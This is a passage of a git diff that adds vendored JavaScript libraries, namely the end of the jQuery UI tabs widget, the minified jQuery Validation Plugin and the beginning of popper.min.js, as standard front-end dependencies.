+		if ( disabled === true ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = true;
+		} else {
+			index = this._getIndex( index );
+			if ( $.inArray( index, disabled ) !== -1 ) {
+				return;
+			}
+			if ( $.isArray( disabled ) ) {
+				disabled = $.merge( [ index ], disabled ).sort();
+			} else {
+				disabled = [ index ];
+			}
+		}
+		this._setOptionDisabled( disabled );
+	},
+
+	load: function( index, event ) {
+		index = this._getIndex( index );
+		var that = this,
+			tab = this.tabs.eq( index ),
+			anchor = tab.find( ".ui-tabs-anchor" ),
+			panel = this._getPanelForTab( tab ),
+			eventData = {
+				tab: tab,
+				panel: panel
+			},
+			complete = function( jqXHR, status ) {
+				if ( status === "abort" ) {
+					that.panels.stop( false, true );
+				}
+
+				that._removeClass( tab, "ui-tabs-loading" );
+				panel.removeAttr( "aria-busy" );
+
+				if ( jqXHR === that.xhr ) {
+					delete that.xhr;
+				}
+			};
+
+		// Not remote
+		if ( this._isLocal( anchor[ 0 ] ) ) {
+			return;
+		}
+
+		this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );
+
+		// Support: jQuery <1.8
+		// jQuery <1.8 returns false if the request is canceled in beforeSend,
+		// but as of 1.8, $.ajax() always returns a jqXHR object.
+		if ( this.xhr && this.xhr.statusText !== "canceled" ) {
+			this._addClass( tab, "ui-tabs-loading" );
+			panel.attr( "aria-busy", "true" );
+
+			this.xhr
+				.done( function( response, status, jqXHR ) {
+
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout( function() {
+						panel.html( response );
+						that._trigger( "load", event, eventData );
+
+						complete( jqXHR, status );
+					}, 1 );
+				} )
+				.fail( function( jqXHR, status ) {
+
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout( function() {
+						complete( jqXHR, status );
+					}, 1 );
+				} );
+		}
+	},
+
+	_ajaxSettings: function( anchor, event, eventData ) {
+		var that = this;
+		return {
+
+			// Support: IE <11 only
+			// Strip any hash that exists to prevent errors with the Ajax request
+			url: anchor.attr( "href" ).replace( /#.*$/, "" ),
+			beforeSend: function( jqXHR, settings ) {
+				return that._trigger( "beforeLoad", event,
+					$.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
+			}
+		};
+	},
+
+	_getPanelForTab: function( tab ) {
+		var id = $( tab ).attr( "aria-controls" );
+		return this.element.find( this._sanitizeSelector( "#" + id ) );
+	}
+} );
+
+// DEPRECATED
+// TODO: Switch return back to widget declaration at top of file when this is removed
+if ( $.uiBackCompat !== false ) {
+
+	// Backcompat for ui-tab class (now ui-tabs-tab)
+	$.widget( "ui.tabs", $.ui.tabs, {
+		_processTabs: function() {
+			this._superApply( arguments );
+			this._addClass( this.tabs, "ui-tab" );
+		}
+	} );
+}
+
+var widgetsTabs = $.ui.tabs;
+
+// DEPRECATED
+// TODO: Switch return back to widget declaration at top of file when this is removed
+
+
+}));
+
+
+
+/* jQuery Validation Plugin
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/*! jQuery Validation Plugin - v1.11.0 - 2/4/2013
+* https://github.com/jzaefferer/jquery-validation
+* Copyright (c) 2013 Jörn Zaefferer; Licensed MIT */
+(function(e){e.extend(e.fn,{validate:function(t){if(!this.length){t&&t.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing.");return}var n=e.data(this[0],"validator");return n?n:(this.attr("novalidate","novalidate"),n=new e.validator(t,this[0]),e.data(this[0],"validator",n),n.settings.onsubmit&&(this.validateDelegate(":submit","click",function(t){n.settings.submitHandler&&(n.submitButton=t.target),e(t.target).hasClass("cancel")&&(n.cancelSubmit=!0)}),this.submit(function(t){function r(){var r;return n.settings.submitHandler?(n.submitButton&&(r=e("<input type='hidden'/>").attr("name",n.submitButton.name).val(n.submitButton.value).appendTo(n.currentForm)),n.settings.submitHandler.call(n,n.currentForm,t),n.submitButton&&r.remove(),!1):!0}return n.settings.debug&&t.preventDefault(),n.cancelSubmit?(n.cancelSubmit=!1,r()):n.form()?n.pendingRequest?(n.formSubmitted=!0,!1):r():(n.focusInvalid(),!1)})),n)},valid:function(){if(e(this[0]).is("form"))return this.validate().form();var t=!0,n=e(this[0].form).validate();return this.each(function(){t&=n.element(this)}),t},removeAttrs:function(t){var n={},r=this;return e.each(t.split(/\s/),function(e,t){n[t]=r.attr(t),r.removeAttr(t)}),n},rules:function(t,n){var r=this[0];if(t){var i=e.data(r.form,"validator").settings,s=i.rules,o=e.validator.staticRules(r);switch(t){case"add":e.extend(o,e.validator.normalizeRule(n)),s[r.name]=o,n.messages&&(i.messages[r.name]=e.extend(i.messages[r.name],n.messages));break;case"remove":if(!n)return delete s[r.name],o;var u={};return e.each(n.split(/\s/),function(e,t){u[t]=o[t],delete o[t]}),u}}var a=e.validator.normalizeRules(e.extend({},e.validator.classRules(r),e.validator.attributeRules(r),e.validator.dataRules(r),e.validator.staticRules(r)),r);if(a.required){var f=a.required;delete a.required,a=e.extend({required:f},a)}return a}}),e.extend(e.expr[":"],{blank:function(t){return!e.trim(""+t.value)},filled:function(t){return!!e.trim(""+t.value)},unchecked:function(e){return!e.checked}}),e.validator=function(t,n){this.settings=e.extend(!0,{},e.validator.defaults,t),this.currentForm=n,this.init()},e.validator.format=function(t,n){return arguments.length===1?function(){var n=e.makeArray(arguments);return n.unshift(t),e.validator.format.apply(this,n)}:(arguments.length>2&&n.constructor!==Array&&(n=e.makeArray(arguments).slice(1)),n.constructor!==Array&&(n=[n]),e.each(n,function(e,n){t=t.replace(new RegExp("\\{"+e+"\\}","g"),function(){return n})}),t)},e.extend(e.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:!0,errorContainer:e([]),errorLabelContainer:e([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(e,t){this.lastActive=e,this.settings.focusCleanup&&!this.blockFocusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,e,this.settings.errorClass,this.settings.validClass),this.addWrapper(this.errorsFor(e)).hide())},onfocusout:function(e,t){!this.checkable(e)&&(e.name in this.submitted||!this.optional(e))&&this.element(e)},onkeyup:function(e,t){if(t.which===9&&this.elementValue(e)==="")return;(e.name in this.submitted||e===this.lastElement)&&this.element(e)},onclick:function(e,t){e.name in this.submitted?this.element(e):e.parentNode.name in this.submitted&&this.element(e.parentNode)},highlight:function(t,n,r){t.type==="radio"?this.findByName(t.name).addClass(n).removeClass(r):e(t).addClass(n).removeClass(r)},unhighlight:function(t,n,r){t.type==="radio"?this.findByName(t.name).removeClass(n).addClass(r):e(t).removeClass(n).addClass(r)}},setDefaults:function(t){e.extend(e.validator.defaults,t)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:e.validator.format("Please enter no more than {0} characters."),minlength:e.validator.format("Please enter at least {0} characters."),rangelength:e.validator.format("Please enter a value between {0} and {1} characters long."),range:e.validator.format("Please enter a value between {0} and {1}."),max:e.validator.format("Please enter a value less than or equal to {0}."),min:e.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function r(t){var n=e.data(this[0].form,"validator"),r="on"+t.type.replace(/^validate/,"");n.settings[r]&&n.settings[r].call(n,this[0],t)}this.labelContainer=e(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||e(this.currentForm),this.containers=e(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var t=this.groups={};e.each(this.settings.groups,function(n,r){typeof r=="string"&&(r=r.split(/\s/)),e.each(r,function(e,r){t[r]=n})});var n=this.settings.rules;e.each(n,function(t,r){n[t]=e.validator.normalizeRule(r)}),e(this.currentForm).validateDelegate(":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'] ","focusin focusout keyup",r).validateDelegate("[type='radio'], [type='checkbox'], select, option","click",r),this.settings.invalidHandler&&e(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),e.extend(this.submitted,this.errorMap),this.invalid=e.extend({},this.errorMap),this.valid()||e(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var e=0,t=this.currentElements=this.elements();t[e];e++)this.check(t[e]);return this.valid()},element:function(t){t=this.validationTargetFor(this.clean(t)),this.lastElement=t,this.prepareElement(t),this.currentElements=e(t);var n=this.check(t)!==!1;return n?delete this.invalid[t.name]:this.invalid[t.name]=!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),n},showErrors:function(t){if(t){e.extend(this.errorMap,t),this.errorList=[];for(var n in t)this.errorList.push({message:t[n],element:this.findByName(n)[0]});this.successList=e.grep(this.successList,function(e){return!(e.name in t)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){e.fn.resetForm&&e(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors(),this.elements().removeClass(this.settings.errorClass).removeData("previousValue")},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(e){var t=0;for(var n in e)t++;return t},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()===0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{e(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(t){}},findLastActive:function(){var t=this.lastActive;return t&&e.grep(this.errorList,function(e){return e.element.name===t.name}).length===1&&t},elements:function(){var t=this,n={};return e(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){return!this.name&&t.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in n||!t.objectLength(e(this).rules())?!1:(n[this.name]=!0,!0)})},clean:function(t){return e(t)[0]},errors:function(){var t=this.settings.errorClass.replace(" ",".");return e(this.settings.errorElement+"."+t,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=e([]),this.toHide=e([]),this.currentElements=e([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(e){this.reset(),this.toHide=this.errorsFor(e)},elementValue:function(t){var n=e(t).attr("type"),r=e(t).val();return n==="radio"||n==="checkbox"?e("input[name='"+e(t).attr("name")+"']:checked").val():typeof r=="string"?r.replace(/\r/g,""):r},check:function(t){t=this.validationTargetFor(this.clean(t));var n=e(t).rules(),r=!1,i=this.elementValue(t),s;for(var o in n){var u={method:o,parameters:n[o]};try{s=e.validator.methods[o].call(this,i,t,u.parameters);if(s==="dependency-mismatch"){r=!0;continue}r=!1;if(s==="pending"){this.toHide=this.toHide.not(this.errorsFor(t));return}if(!s)return this.formatAndAdd(t,u),!1}catch(a){throw this.settings.debug&&window.console&&console.log("Exception occured when checking element "+t.id+", check the '"+u.method+"' method.",a),a}}if(r)return;return this.objectLength(n)&&this.successList.push(t),!0},customDataMessage:function(t,n){return e(t).data("msg-"+n.toLowerCase())||t.attributes&&e(t).attr("data-msg-"+n.toLowerCase())},customMessage:function(e,t){var n=this.settings.messages[e];return n&&(n.constructor===String?n:n[t])},findDefined:function(){for(var e=0;e<arguments.length;e++)if(arguments[e]!==undefined)return arguments[e];return undefined},defaultMessage:function(t,n){return this.findDefined(this.customMessage(t.name,n),this.customDataMessage(t,n),!this.settings.ignoreTitle&&t.title||undefined,e.validator.messages[n],"<strong>Warning: No message defined for "+t.name+"</strong>")},formatAndAdd:function(t,n){var r=this.defaultMessage(t,n.method),i=/\$?\{(\d+)\}/g;typeof r=="function"?r=r.call(this,n.parameters,t):i.test(r)&&(r=e.validator.format(r.replace(i,"{$1}"),n.parameters)),this.errorList.push({message:r,element:t}),this.errorMap[t.name]=r,this.submitted[t.name]=r},addWrapper:function(e){return this.settings.wrapper&&(e=e.add(e.parent(this.settings.wrapper))),e},defaultShowErrors:function(){var e,t;for(e=0;this.errorList[e];e++){var n=this.errorList[e];this.settings.highlight&&this.settings.highlight.call(this,n.element,this.settings.errorClass,this.settings.validClass),this.showLabel(n.element,n.message)}this.errorList.length&&(this.toShow=this.toShow.add(this.containers));if(this.settings.success)for(e=0;this.successList[e];e++)this.showLabel(this.successList[e]);if(this.settings.unhighlight)for(e=0,t=this.validElements();t[e];e++)this.settings.unhighlight.call(this,t[e],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return e(this.errorList).map(function(){return this.element})},showLabel:function(t,n){var r=this.errorsFor(t);r.length?(r.removeClass(this.settings.validClass).addClass(this.settings.errorClass),r.html(n)):(r=e("<"+this.settings.errorElement+">").attr("for",this.idOrName(t)).addClass(this.settings.errorClass).html(n||""),this.settings.wrapper&&(r=r.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.append(r).length||(this.settings.errorPlacement?this.settings.errorPlacement(r,e(t)):r.insertAfter(t))),!n&&this.settings.success&&(r.text(""),typeof this.settings.success=="string"?r.addClass(this.settings.success):this.settings.success(r,t)),this.toShow=this.toShow.add(r)},errorsFor:function(t){var n=this.idOrName(t);return this.errors().filter(function(){return e(this).attr("for")===n})},idOrName:function(e){return this.groups[e.name]||(this.checkable(e)?e.name:e.id||e.name)},validationTargetFor:function(e){return this.checkable(e)&&(e=this.findByName(e.name).not(this.settings.ignore)[0]),e},checkable:function(e){return/radio|checkbox/i.test(e.type)},findByName:function(t){return e(this.currentForm).find("[name='"+t+"']")},getLength:function(t,n){switch(n.nodeName.toLowerCase()){case"select":return e("option:selected",n).length;case"input":if(this.checkable(n))return this.findByName(n.name).filter(":checked").length}return t.length},depend:function(e,t){return this.dependTypes[typeof e]?this.dependTypes[typeof e](e,t):!0},dependTypes:{"boolean":function(e,t){return e},string:function(t,n){return!!e(t,n.form).length},"function":function(e,t){return e(t)}},optional:function(t){var n=this.elementValue(t);return!e.validator.methods.required.call(this,n,t)&&"dependency-mismatch"},startRequest:function(e){this.pending[e.name]||(this.pendingRequest++,this.pending[e.name]=!0)},stopRequest:function(t,n){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[t.name],n&&this.pendingRequest===0&&this.formSubmitted&&this.form()?(e(this.currentForm).submit(),this.formSubmitted=!1):!n&&this.pendingRequest===0&&this.formSubmitted&&(e(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(t){return e.data(t,"previousValue")||e.data(t,"previousValue",{old:null,valid:!0,message:this.defaultMessage(t,"remote")})}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(t,n){t.constructor===String?this.classRuleSettings[t]=n:e.extend(this.classRuleSettings,t)},classRules:function(t){var n={},r=e(t).attr("class");return r&&e.each(r.split(" "),function(){this in e.validator.classRuleSettings&&e.extend(n,e.validator.classRuleSettings[this])}),n},attributeRules:function(t){var n={},r=e(t);for(var i in e.validator.methods){var s;i==="required"?(s=r.get(0).getAttribute(i),s===""&&(s=!0),s=!!s):s=r.attr(i),s?n[i]=s:r[0].getAttribute("type")===i&&(n[i]=!0)}return n.maxlength&&/-1|2147483647|524288/.test(n.maxlength)&&delete n.maxlength,n},dataRules:function(t){var n,r,i={},s=e(t);for(n in e.validator.methods)r=s.data("rule-"+n.toLowerCase()),r!==undefined&&(i[n]=r);return i},staticRules:function(t){var n={},r=e.data(t.form,"validator");return r.settings.rules&&(n=e.validator.normalizeRule(r.settings.rules[t.name])||{}),n},normalizeRules:function(t,n){return e.each(t,function(r,i){if(i===!1){delete t[r];return}if(i.param||i.depends){var s=!0;switch(typeof i.depends){case"string":s=!!e(i.depends,n.form).length;break;case"function":s=i.depends.call(n,n)}s?t[r]=i.param!==undefined?i.param:!0:delete t[r]}}),e.each(t,function(r,i){t[r]=e.isFunction(i)?i(n):i}),e.each(["minlength","maxlength"],function(){t[this]&&(t[this]=Number(t[this]))}),e.each(["rangelength"],function(){var n;t[this]&&(e.isArray(t[this])?t[this]=[Number(t[this][0]),Number(t[this][1])]:typeof t[this]=="string"&&(n=t[this].split(/[\s,]+/),t[this]=[Number(n[0]),Number(n[1])]))}),e.validator.autoCreateRanges&&(t.min&&t.max&&(t.range=[t.min,t.max],delete t.min,delete t.max),t.minlength&&t.maxlength&&(t.rangelength=[t.minlength,t.maxlength],delete t.minlength,delete t.maxlength)),t},normalizeRule:function(t){if(typeof t=="string"){var n={};e.each(t.split(/\s/),function(){n[this]=!0}),t=n}return t},addMethod:function(t,n,r){e.validator.methods[t]=n,e.validator.messages[t]=r!==undefined?r:e.validator.messages[t],n.length<3&&e.validator.addClassRules(t,e.validator.normalizeRule(t))},methods:{required:function(t,n,r){if(!this.depend(r,n))return"dependency-mismatch";if(n.nodeName.toLowerCase()==="select"){var i=e(n).val();return i&&i.length>0}return this.checkable(n)?this.getLength(t,n)>0:e.trim(t).length>0},remote:function(t,n,r){if(this.optional(n))return"dependency-mismatch";var i=this.previousValue(n);this.settings.messages[n.name]||(this.settings.messages[n.name]={}),i.originalMessage=this.settings.messages[n.name].remote,this.settings.messages[n.name].remote=i.message,r=typeof r=="string"&&{url:r}||r;if(i.old===t)return i.valid;i.old=t;var s=this;this.startRequest(n);var o={};return o[n.name]=t,e.ajax(e.extend(!0,{url:r,mode:"abort",port:"validate"+n.name,dataType:"json",data:o,success:function(r){s.settings.messages[n.name].remote=i.originalMessage;var o=r===!0||r==="true";if(o){var u=s.formSubmitted;s.prepareElement(n),s.formSubmitted=u,s.successList.push(n),delete s.invalid[n.name],s.showErrors()}else{var a={},f=r||s.defaultMessage(n,"remote");a[n.name]=i.message=e.isFunction(f)?f(t):f,s.invalid[n.name]=!0,s.showErrors(a)}i.valid=o,s.stopRequest(n,o)}},r)),"pending"},minlength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i>=r},maxlength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i<=r},rangelength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i>=r[0]&&i<=r[1]},min:function(e,t,n){return this.optional(t)||e>=n},max:function(e,t,n){return this.optional(t)||e<=n},range:function(e,t,n){return this.optional(t)||e>=n[0]&&e<=n[1]},email:function(e,t){return this.optional(t)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i.test(e)},url:function(e,t){return this.optional(t)||/^(https?|s?ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(e)},date:function(e,t){return this.optional(t)||!/Invalid|NaN/.test((new Date(e)).toString())},dateISO:function(e,t){return this.optional(t)||/^\d{4}[\/\-]\d{1,2}[\/\-]\d{1,2}$/.test(e)},number:function(e,t){return this.optional(t)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(e)},digits:function(e,t){return this.optional(t)||/^\d+$/.test(e)},creditcard:function(e,t){if(this.optional(t))return"dependency-mismatch";if(/[^0-9 \-]+/.test(e))return!1;var n=0,r=0,i=!1;e=e.replace(/\D/g,"");for(var s=e.length-1;s>=0;s--){var o=e.charAt(s);r=parseInt(o,10),i&&(r*=2)>9&&(r-=9),n+=r,i=!i}return n%10===0},equalTo:function(t,n,r){var i=e(r);return this.settings.onfocusout&&i.unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){e(n).valid()}),t===i.val()}}}),e.format=e.validator.format})(jQuery),function(e){var t={};if(e.ajaxPrefilter)e.ajaxPrefilter(function(e,n,r){var i=e.port;e.mode==="abort"&&(t[i]&&t[i].abort(),t[i]=r)});else{var n=e.ajax;e.ajax=function(r){var i=("mode"in r?r:e.ajaxSettings).mode,s=("port"in r?r:e.ajaxSettings).port;return i==="abort"?(t[s]&&t[s].abort(),t[s]=n.apply(this,arguments)):n.apply(this,arguments)}}}(jQuery),function(e){e.extend(e.fn,{validateDelegate:function(t,n,r){return this.bind(n,function(n){var i=e(n.target);if(i.is(t))return r.apply(i,arguments)})}})}(jQuery);
\ No newline at end of file
diff --git a/public/js/popper.min.js b/public/js/popper.min.js
new file mode 100644
index 0000000..9ad7427
--- /dev/null
+++ b/public/js/popper.min.js
@@ -0,0 +1,6 @@
+/*
+ Copyright (C) Federico Zivolo 2017
+ Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
+ */
+ (function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var l=a.commonAncestorContainer;if(e!==l&&t!==l||i.contains(n))return p(l)?l:r(l);var f=s(e);return f.host?d(f.host,t):d(e,s(t).host)}function a(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',i=e.nodeName;if('BODY'===i||'HTML'===i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||n;return r[o]}return e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=i*r,e.bottom+=i*r,e.left+=n*r,e.right+=n*r,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['border'+i+'Width'],10)}function m(e,t,o,i){return J(t['offset'+e],t['scroll'+e],o['client'+e],o['offset'+e],o['scroll'+e],ie()?o['offset'+e]+i['margin'+('Height'===e?'Top':'Left')]+i['margin'+('Height'===e?'Bottom':'Right')]:0)}function h(){var e=document.body,t=document.documentElement,o=ie()&&getComputedStyle(t);return{height:m('Height',e,t,o),width:m('Width',e,t,o)}}function c(e){return se({},e,{right:e.left+e.width,bottom:e.top+e.height})}function g(e){var o={};if(ie())try{o=e.getBoundingClientRect();var i=a(e,'top'),n=a(e,'left');o.top+=i,o.left+=n,o.bottom+=i,o.right+=n}catch(e){}else o=e.getBoundingClientRect();var r={left:o.left,top:o.top,width:o.right-o.left,height:o.bottom-o.top},p='HTML'===e.nodeName?h():{},s=p.width||e.clientWidth||r.right-r.left,d=p.height||e.clientHeight||r.bottom-r.top,l=e.offsetWidth-s,m=e.offsetHeight-d;if(l||m){var g=t(e);l-=f(g,'x'),m-=f(g,'y'),r.width-=l,r.height-=m}return c(r)}function u(e,o){var i=ie(),r='HTML'===o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),f=parseFloat(a.borderTopWidth,10),m=parseFloat(a.borderLeftWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==d.nodeName)&&(h=l(h,o)),h}function b(e){var t=e.ownerDocument.documentElement,o=u(e,t),i=J(t.clientWidth,window.innerWidth||0),n=J(t.clientHeight,window.innerHeight||0),r=a(t),p=a(t,'left'),s={top:r-o.top+o.marginTop,left:p-o.left+o.marginLeft,width:i,height:n};return c(s)}function w(e){var i=e.nodeName;return'BODY'===i||'HTML'===i?!1:'fixed'===t(e,'position')||w(o(e))}function y(e,t,i,r){var p={top:0,left:0},s=d(e,t);if('viewport'===r)p=b(s);else{var a;'scrollParent'===r?(a=n(o(t)),'BODY'===a.nodeName&&(a=e.ownerDocument.documentElement)):'window'===r?a=e.ownerDocument.documentElement:a=r;var l=u(a,s);if('HTML'===a.nodeName&&!w(s)){var f=h(),m=f.height,c=f.width;p.top+=l.top-l.marginTop,p.bottom=m+l.top,p.left+=l.left-l.marginLeft,p.right=c+l.left}else p=l}return p.left+=i,p.top+=i,p.right-=i,p.bottom-=i,p}function E(e){var t=e.width,o=e.height;return t*o}function v(e,t,o,i,n){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=y(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return 